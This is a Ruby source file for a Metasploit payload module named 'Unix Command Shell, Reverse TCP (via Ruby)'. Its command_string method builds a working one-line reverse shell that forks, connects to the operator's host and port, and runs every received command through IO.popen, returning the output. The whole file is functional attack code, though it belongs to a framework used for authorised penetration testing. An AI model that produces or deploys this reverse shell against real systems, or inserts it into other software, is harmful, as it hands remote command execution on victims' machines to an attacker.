46 lines
1.3 KiB
Ruby
46 lines
1.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 133
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP (via Ruby)',
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'Description' => 'Connect back and create a command shell via Ruby',
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'Author' => 'kris katterjohn',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'ruby',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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))
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register_advanced_options(
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[
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OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])
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]
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)
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end
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def generate(_opts = {})
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vprint_good(command_string)
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return super + command_string
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end
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def command_string
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lhost = datastore['LHOST']
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lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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"#{datastore['RubyPath']} -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
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end
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end
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